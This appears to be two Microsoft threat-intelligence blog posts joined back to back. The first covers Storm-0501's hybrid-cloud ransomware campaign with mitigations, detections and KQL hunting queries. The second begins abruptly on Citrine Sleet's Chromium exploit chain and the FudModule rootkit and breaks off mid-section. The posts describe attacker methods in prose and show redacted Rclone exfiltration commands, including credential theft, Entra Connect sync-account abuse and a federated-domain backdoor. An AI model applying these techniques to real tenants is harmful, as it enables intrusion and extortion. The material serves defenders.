Storm-0501 has been active as early as 2021, initially observed deploying the Sabbath(54bb47h) ransomware in attacks targeting US school districts, publicly leaking data for extortion, and even directly messaging school staff and parents. Since then, most of the threat actor’s attacks have been opportunistic, as the group began operating as a ransomware-as-a-service (RaaS) affiliate deploying multiple ransomware payloads developed and maintained by other threat actors over the years, including Hive, BlackCat (ALPHV), Hunters International, LockBit, and most recently, Embargo ransomware. The threat actor was also recently observed targeting hospitals in the US.

Storm-0501 is the latest threat actor observed to exploit weak credentials and over-privileged accounts to move from organizations’ on-premises environment to cloud environments. They stole credentials and used them to gain control of the network, eventually creating persistent backdoor access to the cloud environment and deploying ransomware to the on-premises. Microsoft previously observed threat actors such as Octo Tempest and Manatee Tempest targeting both on-premises and cloud environments and exploiting the interfaces between the environments to achieve their goals.

As hybrid cloud environments become more prevalent, the challenge of securing resources across multiple platforms grows ever more critical for organizations. Microsoft is committed to helping customers understand these attacks and build effective defenses against them.

In this blog post, we will go over Storm-0501’s tactics, techniques, and procedures (TTPs), typical attack methods, and expansion to the cloud. We will also provide information on how Microsoft detects activities related to this kind of attack, as well as provide mitigation guidance to help defenders protect their environment.

Analysis of the recent Storm-0501 campaign

On-premises compromise

Initial access and reconnaissance

Storm-0501 previously achieved initial access through intrusions facilitated by access brokers like Storm-0249 and Storm-0900, leveraging possibly stolen compromised credentials to sign in to the target system, or exploiting various known remote code execution vulnerabilities in unpatched public-facing servers. In a recent campaign, Storm-0501 exploited known vulnerabilities in Zoho ManageEngine (CVE-2022-47966), Citrix NetScaler (CVE-2023-4966), and ColdFusion 2016 application (possibly CVE-2023-29300 or CVE-2023-38203). In cases observed by Microsoft, these initial access techniques, combined with insufficient operational security practices by the targets, provided the threat actor with administrative privileges on the target device.

After gaining initial access and code execution capabilities on the affected device in the network, the threat actor performed extensive discovery to find potential desirable targets such as high-value assets and general domain information like Domain Administrator users and domain forest trust. Common native Windows tools and commands, such as systeminfo.exe, net.exe, nltest.exe, tasklist.exe, were leveraged in this phase. The threat actor also utilized open-source tools like ossec-win32 and OSQuery to query additional endpoint information. Additionally, in some of the attacks, we observed the threat actor running an obfuscated version of ADRecon.ps1 called obfs.ps1 or recon.ps1 for Active Directory reconnaissance.

Following initial access and reconnaissance, the threat actor deployed several remote monitoring and management tools (RMMs), such as Level.io, AnyDesk, and NinjaOne to interact with the compromised device and maintain persistence.

Credential access and lateral movement

The threat actor took advantage of admin privileges on the local devices it compromised during initial access and attempted to gain access to more accounts within the network through several methods. The threat actor primarily utilized Impacket’s SecretsDump module, which extracts credentials over the network, and leveraged it across an extensive number of devices to obtain credentials. The threat actor used the compromised credentials to access more devices in the network and then leveraged Impacket again to collect additional credentials. The threat actor then repeated this process until they compromised a large set of credentials that potentially included multiple Domain Admin credentials.

In addition, the threat actor was observed attempting to gather secrets by reading sensitive files and in some cases gathering KeePass secrets from the compromised devices. The threat actor used EncryptedStore’s Find-KeePassConfig.ps1 PowerShell script to output the database location and keyfile/user master key information and launch the KeePass executable to gather the credentials. We assess with medium confidence that the threat actor also performed extensive brute force activity on a few occasions to gain additional credentials for specific accounts.

The threat actor was observed leveraging Cobalt Strike to move laterally across the network using the compromised credentials and using the tool’s command-and-control (C2) capabilities to directly communicate with the endpoints and send further commands. The common Cobalt Strike Beacon file types used in these campaigns were .dll files and .ocx files that were launched by rundll32.exe and regsvr32.exe respectively. Moreover, the “license_id” associated with this Cobalt Strike Beacon is “666”.  The “license_id” definition is commonly referred to as Watermark and is a nine-digit value that is unique per legitimate license provided by Cobalt Strike. In this case, the “license_id” was modified with 3-digit unique value in all the beacon configurations.

In cases we observed, the threat actor’s lateral movement across the campaign ended with a Domain Admin compromise and access to a Domain Controller that eventually enabled them to deploy ransomware across the devices in the network.

Data collection and exfiltration

The threat actor was observed exfiltrating sensitive data from compromised devices. To exfiltrate data, the threat actor used the open-source tool Rclone and renamed it to known Windows binary names or variations of them, such as svhost.exe or scvhost.exe as masquerading means. The threat actor employed the renamed Rclone binaries to transfer data to the cloud, using a dedicated configuration that synchronized files to public cloud storage services such as MegaSync across multiple threads. The following are command line examples used by the threat actor in demonstrating this behavior:

• Svhost.exe copy –filter-from [REDACTED] [REDACTED] config:[REDACTED] -q –ignore-existing –auto-confirm –multi-thread-streams 11 –transfers 11
• scvhost.exe –config C:\Windows\Debug\a.conf copy [REDACTED UNC PATH] [REDACTED]

Defense evasion

The threat actor attempted to evade detection by tampering with security products in some of the devices they got hands-on-keyboard access to. They employed an open-source tool, resorted to PowerShell cmdlets and existing binaries to evade detection, and in some cases, distributed Group Policy Object (GPO) policies to tamper with security products.

On-premises to cloud pivot

In their recent campaign, we noticed a shift in Storm-0501’s methods. The threat actor used the credentials, specifically Microsoft Entra ID (formerly Azure AD), that were stolen from earlier in the attack to move laterally from the on-premises to the cloud environment and establish persistent access to the target network through a backdoor.

Storm-0501 was observed using the following attack vectors and pivot points on the on-premises side to gain subsequent control in Microsoft Entra ID:

Microsoft Entra Connect Sync account compromise

Microsoft Entra Connect, previously known as Azure AD Connect, is an on-premises Microsoft application that plays a critical role in synchronizing passwords and sensitive data between Active Directory (AD) objects and Microsoft Entra ID objects. Microsoft Entra Connect synchronizes the on-premises identity and Microsoft Entra identity of a user account to allow the user to sign in to both realms with the same password. To deploy Microsoft Entra Connect, the application must be installed on an on-premises server or an Azure VM. To decrease the attack surface, Microsoft recommends that organizations deploy Microsoft Entra Connect on a domain-joined server and restrict administrative access to domain administrators or other tightly controlled security groups. Microsoft Incident Response also published recommendations on preventing cloud identity compromise.

Microsoft Entra Connect Sync is a component of Microsoft Entra Connect that synchronizes identity data between on-premises environments and Microsoft Entra ID. During the Microsoft Entra Connect installation process, at least two new accounts (more accounts are created if there are multiple forests) responsible for the synchronization are created, one in the on-premises AD realm and the other in the Microsoft Entra ID tenant. These service accounts are responsible for the synchronization process.

The on-premises account name is prefixed with “MSOL_” and has permissions to replicate directory changes, modify passwords, modify users, modify groups, and more (see full permissions here).

The cloud Microsoft Entra ID account is prefixed with “sync_<Entra Connect server name>_” and has the account display name set to “On-Premises Directory Synchronization Service Account”. This user account is assigned with the Directory Synchronization Accounts role (see detailed permissions of this role here). Microsoft recently implemented a change in Microsoft Entra ID that restricts permissions on the Directory Synchronization Accounts (DSA) role in Microsoft Entra Connect Sync and Microsoft Entra Cloud Sync and helps prevent abuse.

The on-premises and cloud service accounts conduct the syncing operation every few minutes, similar to Password Hash Synchronization (PHS), to uphold real time user experience. Both user accounts mentioned above are crucial for the Microsoft Entra Connect Sync service operations and their credentials are saved encrypted via DPAPI (Data Protection API) on the server’s disk or a remote SQL server.

We can assess with high confidence that in the recent Storm-0501 campaign, the threat actor specifically located Microsoft Entra Connect Sync servers and managed to extract the plain text credentials of the Microsoft Entra Connect cloud and on-premises sync accounts. We assess that the threat actor was able to achieve this because of the previous malicious activities described in this blog post, such as using Impacket to steal credentials and DPAPI encryption keys, and tampering with security products.

Following the compromise of the cloud Directory Synchronization Account, the threat actor can authenticate using the clear text credentials and get an access token to Microsoft Graph. The compromise of the Microsoft Entra Connect Sync account presents a high risk to the target, as it can allow the threat actor to set or change Microsoft Entra ID passwords of any hybrid account (on-premises account that is synced to Microsoft Entra ID).

Cloud session hijacking of on-premises user account

Another way to pivot from on-premises to Microsoft Entra ID is to gain control of an on-premises user account that has a respective user account in the cloud. In some of the Storm-0501 cases we investigated, at least one of the Domain Admin accounts that was compromised had a respective account in Microsoft Entra ID, with multifactor authentication (MFA) disabled, and assigned with a Global Administrator role. It is important to mention that the sync service is unavailable for administrative accounts in Microsoft Entra, hence the passwords and other data are not synced from the on-premises account to the Microsoft Entra account in this case. However, if the passwords for both accounts are the same, or obtainable by on-premises credential theft techniques (i.e. web browsers passwords store), then the pivot is possible.

If a compromised on-premises user account is not assigned with an administrative role in Microsoft Entra ID and is synced to the cloud and no security boundaries such as MFA or Conditional Access are set, then the threat actor could escalate to the cloud through the following:

1. If the password is known, then logging in to Microsoft Entra is possible from any device.
2. If the password is unknown, the threat actor can reset the on-premises user password, and after a few minutes the new password will be synced to the cloud.
3. If they hold credentials of a compromised Microsoft Entra Directory Synchronization Account, they can set the cloud password using AADInternals’ Set-AADIntUserPassword cmdlet.

If MFA for that user account is enabled, then authentication with the user will require the threat actor to tamper with the MFA or gain control of a device owned by the user and subsequently hijack its cloud session or extract its Microsoft Entra access tokens along with their MFA claims.

MFA is a security practice that requires users to provide two or more verification factors to gain access to a resource and is a recommended security practice for all users, especially for privileged administrators. A lack of MFA or Conditional Access policies limiting the sign-in options opens a wide door of possibilities for the attacker to pivot to the cloud environment, especially if the user has administrative privileges. To increase the security of admin accounts, Microsoft is rolling out additional tenant-level security measures to require MFA for all Azure users.

Impact

Cloud compromise leading to backdoor

Following a successful pivot from the on-premises environment to the cloud through the compromised Microsoft Entra Connect Sync user account or the cloud admin account compromised through cloud session hijacking, the threat actor was able to connect to Microsoft Entra (portal/MS Graph) from any device, using a privileged Microsoft Entra ID account, such as a Global Administrator, and was no longer limited to the compromised devices.

Once Global Administrator access is available for Storm-0501, we observed them creating a persistent backdoor access for later use by creating a new federated domain in the tenant. This backdoor enables an attacker to sign in as any user of the Microsoft Entra ID tenant in hand if the Microsoft Entra ID user property ImmutableId is known or set by the attackers. For users that are configured to be synced by the Microsoft Entra Connect service, the ImmutableId property is automatically populated, while for users that are not synced the default value is null. However, users with administrative privileges can add an ImmutableId value, regardless.

The threat actor used the open-source tool AADInternals, and its Microsoft Entra ID capabilities to create the backdoor. AADInternals is a PowerShell module designed for security researchers and penetration testers that provides various methods for interacting and testing Microsoft Entra ID and is commonly used by Storm-0501. To create the backdoor, the threat actor first needed to have a domain of their own that is registered to Microsoft Entra ID. The attacker’s next step is to determine whether the target domain is managed or federated. A federated domain in Microsoft Entra ID is a domain that is configured to use federation technologies, such as Active Directory Federation Services (AD FS), to authenticate users. If the target domain is managed, then the attackers need to convert it to a federated one and provide a root certificate to sign future tokens upon user authentication and authorization processes. If the target domain is already federated, then the attackers need to add the root certificate as “NextSigningCertificate”.

Once a backdoor domain is available for use, the threat actor creates a federation trust between the compromised tenant, and their own tenant. The threat actor uses the AADInternals commands that enable the creation of Security Assertion Markup Language (SAML or SAML2) tokens, which can be used to impersonate any user in the organization and bypass MFA to sign in to any application. Microsoft observed the actor using the SAML token sign in to Office 365.

On-premises compromise leading to ransomware

Once the threat actor achieved sufficient control over the network, successfully extracted sensitive files, and managed to move laterally to the cloud environment, the threat actor then deployed the Embargo ransomware across the organization. We observed that the threat actor did not always resort to ransomware distribution, and in some cases only maintained backdoor access to the network.

Embargo ransomware is a new strain developed in Rust, known to use advanced encryption methods. Operating under the RaaS model, the ransomware group behind Embargo allows affiliates like Storm-0501 to use its platform to launch attacks in exchange for a share of the ransom. Embargo affiliates employ double extortion tactics, where they first encrypt a victim’s files and threaten to leak stolen sensitive data unless a ransom is paid.

In the cases observed by Microsoft, the threat actor leveraged compromised Domain Admin accounts to distribute the Embargo ransomware via a scheduled task named “SysUpdate” that was registered via GPO on the devices in the network. The ransomware binaries names that were used were PostalScanImporter.exe and win.exe. Once the files on the target devices were encrypted, the encrypted files extension changed to .partial, .564ba1, and .embargo.

Mitigation and protection guidance

Microsoft recently implemented a change in Microsoft Entra ID that restricts permissions on the Directory Synchronization Accounts (DSA) role in Microsoft Entra Connect Sync and Microsoft Entra Cloud Sync as part of ongoing security hardening. This change helps prevent threat actors from abusing Directory Synchronization Accounts in attacks.

Customers may also refer to Microsoft’s human-operated ransomware overview for general hardening recommendations against ransomware attacks.

The other techniques used by threat actors and described in this blog can be mitigated by adopting the following security measures:

• Secure accounts with credential hygiene: practice the principle of least privilege and audit privileged account activity in your Microsoft Entra ID environments to slow and stop attackers.
• Enable Conditional Access policies – Conditional Access policies are evaluated and enforced every time the user attempts to sign in. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as device compliance or trusted IP address requirements.
  • Set a Conditional Access policy to limit the access of Microsoft Entra ID sync accounts from untrusted IP addresses to all cloud apps. The Microsoft Entra ID sync account is identified by having the role ‘Directory Synchronization Accounts’. Please refer to the Advanced Hunting section and check the relevant query to get those IP addresses.
• Implement Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps.
• Follow Microsoft’s best practices for securing Active Directory Federation Services.  
• Refer to Azure Identity Management and access control security best practices for further steps and recommendations to manage, design, and secure your Azure AD environment can be found by referring.
• Ensure Microsoft Defender for Cloud Apps connectors are turned on for your organization to receive alerts on the Microsoft Entra ID sync account and all other users.
• Enable protection to prevent by-passing of cloud Microsoft Entra MFA when federated with Microsoft Entra ID.
• Set the validatingDomains property of federatedTokenValidationPolicy to “all” to block attempts to sign-in to any non-federated domain (like .onmicrosoft.com) with SAML tokens.
• Turn on Microsoft Entra ID protection to monitor identity-based risks and create risk-based conditional access policies to remediate risky sign-ins.
• Turn on tamper protection features to prevent attackers from stopping security services such as Microsoft Defender for Endpoint, which can help prevent hybrid cloud environment attacks such as Microsoft Entra Connect abuse.
• Refer to the recommendations in our attacker technique profile, including use of Windows Defender Application Control or AppLocker to create policies to block unapproved information technology (IT) management tools to protect against the abuse of legitimate remote management tools like AnyDesk or Level.io.
• Run endpoint detection and response (EDR) in block mode so that Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts detected post-breach.
• Turn on investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to help remediate alerts, significantly reducing alert volume.

Detection details

Alerts with the following names can be in use when investigating the current campaign of Storm-0501.

Microsoft Defender XDR detections

Microsoft Defender Antivirus 

Microsoft Defender Antivirus detects the Cobalt Strike Beacon as the following:

• Behavior:Win32/CobaltStrike
• Backdoor:Win64/CobaltStrike
• HackTool:Win64/CobaltStrike

Additional Cobalt Strike components are detected as the following:

• TrojanDropper:PowerShell/Cobacis
• Trojan:Win64/TurtleLoader.CS
• Exploit:Win32/ShellCode.BN

Microsoft Defender Antivirus detects tools that enable Microsoft Entra ID enumeration as the following malware: 

• Backdoor:Win32/SuspAadInternalsUsage

Embargo Ransomware threat components are detected as the following:

• Ransom:Win32/Embargo

Microsoft Defender for Endpoint 

Alerts with the following titles in the security center can indicate threat activity related to Storm-0501 on your network:

• Ransomware-linked Storm-0501 threat actor detected

The following alerts might also indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report. 

• Possible Adobe ColdFusion vulnerability exploitation
• Compromised account conducting hands-on-keyboard attack
• Ongoing hands-on-keyboard attacker activity detected (Cobalt Strike)
• Ongoing hands-on-keyboard attack via Impacket toolkit
• Suspicious Microsoft Defender Antivirus exclusion
• Attempt to turn off Microsoft Defender Antivirus protection
• Renaming of legitimate tools for possible data exfiltration
• BlackCat ransomware
• ‘Embargo’ ransomware was detected and was active
• Suspicious Group Policy action detected
• An active ‘Embargo’ ransomware was detected

The following alerts might indicate on-premises to cloud pivot through Microsoft Entra Connect:

• Entra Connect Sync credentials extraction attempt
• Suspicious cmdlets launch using AADInternals
• Potential Entra Connect Tampering
• Indication of local security authority secrets theft

Microsoft Defender for Identity

The following Microsoft Defender for Identity alerts can indicate activity related to this threat:

• Data exfiltration over SMB
• Suspected DCSync attack

Microsoft Defender for Cloud Apps

Microsoft Defender for Cloud Apps can detect abuse of permissions in Microsoft Entra ID and other cloud apps. Activities related to the Storm-0501 campaign described in this blog are detected as the following:

• Backdoor creation using AADInternals tool
• Compromised Microsoft Entra ID Cloud Sync account
• Suspicious sign-in to Microsoft Entra Connect Sync account
• Entra Connect Sync account suspicious activity following a suspicious login
• AADInternals tool used by a Microsoft Entra Sync account
• Suspicious login from AADInternals tool

Microsoft Defender Vulnerability Management

Microsoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:

• CVE-2022-47966

Threat intelligence reports 

Microsoft customers can use the following reports in Microsoft Defender Threat Intelligence to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments: 

• Storm-0501

Advanced hunting 

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Microsoft Entra Connect Sync account exploration

Explore sign-in activity from IdentityLogonEvents, look for uncommon behavior, such as sign-ins from newly seen IP addresses or sign-ins to new applications that are non-sync related.

IdentityLogonEvents
| where Timestamp > ago(30d)
| where AccountDisplayName contains "On-Premises Directory Synchronization Service Account"
| extend ApplicationName = tostring(RawEventData.ApplicationName)
| project-reorder Timestamp, AccountDisplayName, AccountObjectId, IPAddress, ActionType, ApplicationName, OSPlatform, DeviceType

Usually, the activity of the sync account is repetitive, coming from the same IP address to the same application, any deviation from the natural flow is worth investigating. Cloud applications that normally accessed by the Microsoft Entra ID sync account are “Microsoft Azure Active Directory Connect”, “Windows Azure Active Directory”, “Microsoft Online Syndication Partner Portal”

Explore the cloud activity (a.k.a ActionType) of the sync account, same as above, this account by nature performs a certain set of actions including ‘update User.’, ‘update Device.’ and so on. New and uncommon activity from this user might indicate an interactive use of the account, even though it could have been from someone inside the organization it could also be the threat actor.

CloudAppEvents
| where Timestamp > ago(30d)
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| extend Workload = RawEventData.Workload
| project-reorder Timestamp, IPAddress, AccountObjectId, ActionType, Application, Workload, DeviceType, OSPlatform, UserAgent, ISP

Pay close attention to action from different DeviceTypes or OSPlatforms, this account automated service is performed from one specific machine, so there shouldn’t be any variety in these fields.

Check which IP addresses Microsoft Entra Connect Sync account uses

This query reveals all IP addresses that the default Microsoft Entra Connect Sync account uses so those could be added as trusted IP addresses for the Entra ID sync account (make sure the account is not compromised before relying on this list)

IdentityLogonEvents
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| where ActionType == "LogonSuccess"
| distinct IPAddress
| union (CloudAppEvents
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| distinct IPAddress)
| distinct IPAddress

Federation and authentication domain changes

Explore the addition of a new authentication or federation domain, validate that the new domain is valid one and was purposefully added

CloudAppEvents
| where Timestamp > ago(30d)
| where ActionType in ("Set domain authentication.", "Set federation settings on domain.")

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Assess your environment for Manage Engine, Netscaler, and ColdFusion vulnerabilities.

DeviceTvmSoftwareVulnerabilities  
| where CveId in ("CVE-2022-47966","CVE-2023-4966","CVE-2023-29300","CVE-2023-38203")   
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel  
| join kind=inner ( DeviceTvmSoftwareVulnerabilitiesKB | project CveId, CvssScore,IsExploitAvailable,VulnerabilitySeverityLevel,PublishedDate,VulnerabilityDescription,AffectedSoftware ) on CveId  
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel,CvssScore,IsExploitAvailable,PublishedDate,VulnerabilityDescription,AffectedSoftware

Search for file IOC

let selectedTimestamp = datetime(2024-09-17T00:00:00.0000000Z); 
let fileName = dynamic(["PostalScanImporter.exe","win.exe","edx.exe","name.dll","248.dll","cs240.dll","fel.ocx","theme.ocx","hana.ocx","obfs.ps1","recon.ps1"]); 
let FileSHA256 = dynamic(["efb2f6452d7b0a63f6f2f4d8db49433259249df598391dd79f64df1ee3880a8d","a9aeb861817f3e4e74134622cbe298909e28d0fcc1e72f179a32adc637293a40","cbb9c91b5a86887c89d3217af0a4708c5c87852a4be0d37397be89b453ca8cb8","caa21a8f13a0b77ff5808ad7725ff3af9b74ce5b67426c84538b8fa43820a031","53e2dec3e16a0ff000a8c8c279eeeca8b4437edb8ec8462bfbd9f64ded8072d9","827f7178802b2e92988d7cff349648f334bc86317b0b628f4bb9264285fccf5f","ee80f3e3ad43a283cbc83992e235e4c1b03ff3437c880be02ab1d15d92a8348a","de09ec092b11a1396613846f6b082e1e1ee16ea270c895ec6e4f553a13716304","d065623a7d943c6e5a20ca9667aa3c41e639e153600e26ca0af5d7c643384670","c08dd490860b54ae20fa9090274da9ffa1ba163f00d1e462e913cf8c68c11ac1"]); 
search in (AlertEvidence,BehaviorEntities,CommonSecurityLog,DeviceBaselineComplianceProfiles,DeviceEvents,DeviceFileEvents,DeviceImageLoadEvents, 
DeviceLogonEvents,DeviceNetworkEvents,DeviceProcessEvents,DeviceRegistryEvents,DeviceFileCertificateInfo,DynamicEventCollection,EmailAttachmentInfo,OfficeActivity,SecurityEvent,ThreatIntelligenceIndicator) 
TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d)) // from September 17th runs the search for 90 days, change the selectedTimestamp accordingly. 
and  
(FileName in (fileName) or OldFileName in (fileName)  or ProfileName in (fileName)  or InitiatingProcessFileName in (fileName)  or InitiatingProcessParentFileName in (fileName)  
or InitiatingProcessVersionInfoInternalFileName in (fileName)  or InitiatingProcessVersionInfoOriginalFileName in (fileName)  or PreviousFileName in (fileName)  
or ProcessVersionInfoInternalFileName in (fileName) or ProcessVersionInfoOriginalFileName in (fileName) or DestinationFileName in (fileName) or SourceFileName in (fileName)
or ServiceFileName in (fileName) or SHA256 in (FileSHA256)  or InitiatingProcessSHA256 in (FileSHA256))

Microsoft Sentinel also has a range of detection and threat hunting content that customers can use to detect the post exploitation activity detailed in this blog, in addition to Microsoft Defender XDR detections list above.

• Remote Management Monitoring Network Connections
• Level.io RMM File Signature
• AnyDesk RMM File Signature
• NinjaOne RMM File Signature
• Potential Impacket Execution
• Potential ransomware activity related to Cobalt Strike
• Cobalt DNS Beacon
• C2-NamedPipe
• Renamed Rclone Exfiltration
• Disable Or Modify Windows Defender
• Clearing of forensic evidence from event logs using wevtutil
• Suspicious Signin By AAD Connect Account

Indicators of compromise (IOCs)

The following list provides indicators of compromise (IOCs) observed during our investigation. We encourage our customers to investigate these indicators within their environments and implement detections and protections to identify any past related activity and prevent future attacks against their systems.

References

• The Rust Revolution: New Embargo Ransomware Steps In – Cyble
• Embargo Ransomware Group: The Interview (suspectfile.com)
• https://aadinternals.com/post/aadbackdoor/
• https://aadinternals.com/post/aad-deepdive/

Omri Refaeli, Tafat Gaspar, Vaibhav Deshmukh, Naya Hashem, Charles-Edouard Bettan

Microsoft Threat Intelligence Community

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Storm-0501: Ransomware attacks expanding to hybrid cloud environments appeared first on Microsoft Security Blog.

CVE-2024-7971 is a type confusion vulnerability in the V8 JavaScript and WebAssembly engine, impacting versions of Chromium prior to 128.0.6613.84. Exploiting the vulnerability could allow threat actors to gain RCE in the sandboxed Chromium renderer process. Google released a fix for the vulnerability on August 21, 2024, and users should ensure they are using the latest version of Chromium. We would like to thank the Chromium team for their collaboration in addressing this issue. CVE-2024-7971 is the third exploited V8 type confusion vulnerability that has been patched in V8 this year, after CVE-2024-4947 and CVE-2024-5274. As with any observed nation-state actor activity, Microsoft has directly notified targeted or compromised customers, providing them with important information to help secure their environments.

In this blog, we share details on the North Korean threat actor Citrine Sleet and the observed tactics, techniques, and procedures (TTPs) used to exploit CVE-2024-7971, deploy the FudModule rootkit, and compromise systems. We further provide recommended mitigations, detection details, hunting guidance, and indicators of compromise (IOCs) to help defenders identify, respond to, and improve defenses against these attacks.

Who is Citrine Sleet?

The threat actor that Microsoft tracks as Citrine Sleet is based in North Korea and primarily targets financial institutions, particularly organizations and individuals managing cryptocurrency, for financial gain. As part of its social engineering tactics, Citrine Sleet has conducted extensive reconnaissance of the cryptocurrency industry and individuals associated with it. The threat actor creates fake websites masquerading as legitimate cryptocurrency trading platforms and uses them to distribute fake job applications or lure targets into downloading a weaponized cryptocurrency wallet or trading application based on legitimate applications. Citrine Sleet most commonly infects targets with the unique trojan malware it developed, AppleJeus, which collects information necessary to seize control of the targets’ cryptocurrency assets. The FudModule rootkit described in this blog has now been tied to Citrine Sleet as shared tooling with Diamond Sleet.

The United States government has assessed that North Korean actors, like Citrine Sleet, will likely continue targeting vulnerabilities of cryptocurrency technology firms, gaming companies, and exchanges to generate and launder funds to support the North Korean regime. One of the organizations targeted by the CVE-2024-7971 exploitation was also previously targeted by Sapphire Sleet.

Citrine Sleet is tracked by other security companies as AppleJeus, Labyrinth Chollima, UNC4736, and Hidden Cobra, and has been attributed to Bureau 121 of North Korea’s Reconnaissance General Bureau.

Exploiting CVE-2024-7971

The observed zero-day exploit attack by Citrine Sleet used the typical stages seen in browser exploit chains. First, the targets were directed to the Citrine Sleet-controlled exploit domain voyagorclub[.]space. While we cannot confirm at this time how the targets were directed, social engineering is a common tactic used by Citrine Sleet. Once a target connected to the domain, the zero-day RCE exploit for CVE-2024-7971 was served.

After the RCE exploit achieved code execution in the sandboxed Chromium renderer process, shellcode containing a Windows sandbox escape exploit and the FudModule rootkit was downloaded, and then loaded into memory. The sandbox escape exploited CVE-2024-38106, a vulnerability in the Windows kernel that Microsoft fixed on August 13, 2024, before Microsoft discovered this North Korean threat actor activity. CVE-2024-38106 was reported to Microsoft Security Response Center (MSRC) as being exploited; however, our investigations so far have not suggested any link between the reported CVE-2024-38106 exploit activity and this Citrine Sleet exploit activity, beyond exploiting the same vulnerability. This may suggest a “bug collision,” where the same vulnerability is independently discovered by separate threat actors, or knowledge of the vulnerability was shared by one vulnerability researcher to multiple actors.

Once the sandbox escape exploit was successful, the main FudModule rootkit ran in memory. This rootkit employs direct kernel object manipulation (DKOM) techniques to disrupt kernel security mechanisms, executes exclusively from user mode, and performs kernel tampering through a kernel read/write primitive. We did not observe any additional malware activity on the target devices.

FudModule rootkit

FudModule is a sophisticated rootkit malware that specifically targets kernel access while evading detection. Threat actors have been observed using the FudModule data-only rootkit to establish admin-to-kernel access to Windows-based systems to allow read/write primitive functions and perform DKOM.

Diamond Sleet has been observed using FudModule since October 2021. The earliest variant of FudModule was reported publicly in September 2022 by ESET and AhnLAB researchers, when threat actors exploited known vulnerable drivers to establish admin-to-kernel access in the technique known as bring your own vulnerable driver (BYOVD). In February 2024, Avast researchers published analysis on an updated FudModule variant that is significantly more advanced and difficult to detect, since it exploits a zero-day vulnerability in appid.sys, an AppLocker driver that is installed by default into Windows (CVE-2024-21338).

Further research by Avast uncovered a full attack chain deploying the updated variant of FudModule known as “FudModule 2.0,” which includes malicious loaders and a late-stage remote access trojan (RAT). This attack chain revealed the previously unknown malware Kaolin RAT was responsible for loading the FudModule rootkit to targeted devices. Kaolin RAT established a secure, AES-encrypted connection with the command and control (C2) server and had capabilities to execute a robust list of commands, such as downloading and uploading files to the C2 server and creating or updating processes. The updated variant of FudModule exhibited an attack chain similar to that seen in Citrine Sleet’s zero-day exploit of CVE-2024-7971.

On August 13, Microsoft released a security update to address a zero-day vulnerability in the AFD.sys driver in Windows (CVE-2024-38193) identified by Gen Threat Labs. In early June, Gen Threat Labs identified Diamond Sleet exploiting this vulnerability in an attack employing the FudModule rootkit, which establishes full standard user-to-kernel access, advancing from the previously seen admin-to-kernel access. Gen Threat Labs released this information publicly on August 16.

Recommendations

The CVE-2024-7971 exploit chain relies on multiple components to compromise a target, and this attack chain fails if any of these components are blocked, including CVE-2024-38106. Microsoft released a security update on August 13, 2024, for the CVE-2024-38106 vulnerability exploited by Diamond Sleet, thus also blocking attempts to exploit the CVE-2024-7971 exploit chain on updated systems. Customers who have not implemented these fixes yet are urged to do so as soon as possible for their organization’s security.

Zero-day exploits necessitate not only keeping systems up to date, but also security solutions that provide unified visibility across the cyberattack chain to detect and block post-compromise attacker tools and malicious activity following exploitation. Microsoft recommends the following mitigations to reduce the impact of this threat.

Strengthen operating environment configuration

• Keep operating systems and applications up to date. Apply security patches as soon as possible. Ensure that Google Chrome web browser is updated at version 128.0.6613.84 or later, and Microsoft Edge web browser is updated at version 128.0.2739.42 or later to address the CVE-2024-7971 vulnerability.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.

Strengthen Microsoft Defender for Endpoint configuration

• Ensure that tamper protection is turned on in Microsoft Dender for Endpoint.
• Enable network protection in Microsoft Defender for Endpoint.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can help block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to help remediate malicious artifacts that are detected post-breach.
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to help resolve breaches, significantly reducing alert volume.

Strengthen Microsoft Defender Antivirus configuration

• Turn on cloud-delivered protection in Microsoft Defender Antivirus, or the equivalent for your antivirus product, to help cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block majority of new and unknown variants.
• Turn on Microsoft Defender Antivirus scanning of downloaded files and attachments.
• Turn on real-time protection in Microsoft Defender Antivirus.

Detection details

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alert might also indicate threat activity related to this threat. Note, however, that this alert can also be triggered by unrelated threat activity.

